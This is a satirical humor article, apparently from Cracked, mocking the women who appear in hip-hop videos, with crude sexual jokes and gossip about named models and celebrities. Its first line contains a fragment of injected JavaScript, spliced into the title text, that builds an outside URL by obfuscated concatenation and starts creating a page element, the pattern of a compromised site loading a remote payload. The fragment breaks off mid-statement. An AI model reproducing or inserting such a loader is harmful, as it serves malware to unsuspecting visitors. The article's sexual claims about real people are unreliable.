Hip-Hop Honeys

Yeah, Cracked be ALL up in the party)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createElement

An easy checklist to consult

Do we need to spell it out?

Awww yeah

Just The Facts

  1. You lookin' good in them shorts girl but they look better on the flo
  2. No baby it WAS a compliment about you.
  3. Don' be like that, I just wanna see your butt.

What is a hip-hop honey?

Melyssa Ford

Hip-hop honeys are the women in hip-hop videos who are not performing hip-hop. The leading hip-hop honeys are admired for their pleasing figures, their seductive smiles and their ability to credibly look as though they would willingly consort with morbidly obese rappers in nightclubs. Or indeed with Snoop Dogg in any location.

Would you sit on this man's knee for money?

Hip-hop honeys should not be confused with women who are hip-hop recording artists in their own right and no hip-hop honey has ever 'crossed over' to a successful chart career. This is thought to be due to efforts by hip-hop scientists to genetically engineer musical abilities and independent thought out of the hip-hop honey, in search of better oil-retention abilities and an enhanced badonk.

In 2003 Method Man famously attempted to include vocals from noted hip-hop honey Chessika Shontay in the chorus of his hit 'What's Happenin'. The initiative soon broke down when Shontay's trademark buttocks were left parked outside the recording studio and subsequently stolen. The traumatic incident led to a nationwide outcry and ultimately to the establishment of the first federal reserve for the protection of hip-hop honeys, a permanently moored Sunseeker at Miami Beach Marina.

Don't worry honey, you're safe now.

Famous hip-hop honeys

There are few truly famous hip-hop honeys: Vida Guerra did graduate from Nelly's Shake Ya Tailfather video to acting in National Lampoon's Dorm Daze 2 and a few ads (see her express her range eating a BK Bacon Cheddar Ranch ) while Big Pimpin's Melyssa Ford clings on to the periphery of fame, occasionally fessing up to interviewers that the hip-hop video genre is actually pretty demeaning to women. Having allegedly nailed Puff Daddy, DMX, Xzibit, Jay-Z, Ja Rule, Doctor Dre, Ice-T, Bobby Brown, Usher, Shaquille O'Neal, Vin Diesel and BILL MAHER, Karinne 'Supahead' Steffans wrote an authobiographical kiss and tell book and followed up everything she'd learnt with a guide for women looking to please their man. Presumably BIll taught her the importance of always laughing sweetly at your boyfriend's endless jokes about Sarah Palin.

Supahead? More like Supa-shred!! Because she's in an office setting!

There will always be a huge demand for fresh honeys though as hip-hop is a staunchly male and heterosexual genre (though see Cracked's 11 Most Unintentionally Gay Rap Lyrics Ever) and few rappers with any commercial savvy would ignore the sales potential of a dozen young women in bikinis. To be fair, we at Cracked are not oblivious to this phenomenon either. But we harness the power of the boob for education which probably makes it OK. We haven't run it past our girlfriends yet though.

The hip-hop honey discipline has also attracted a number of women from other fields who have found it brought temporary boosts to their flickering fame. Carmen Electra, Paris Hilton, Lindsay Lohan, Pamela Anderson and a small orgy of porn stars have sprawled themselves often incongruously but almost always vacantly in the background of leading rappers' videos, triggering a brief moment of recognition in the viewer before the startlet is forgotten and masturbation can resume.

The best thing to erase those memories of Paris writhing on a pole.

Sadly, the fate of hip-hop honeys once they have been spat out by the music industry is uncertain. Some manage a decent modelling or minor acting career but many enter a destructive spiral of increasingly degrading lower-budget hip-hop videos, always leading to the final insult: a cameo in Sisqo's latest comeback attempt (Thong Song '08, Thong Song 'Yes We Can' Remix, Thong Song (Transformers 3 End Credits Cut).


Just $10 a month can stop this honey from having to work with Cypress Hill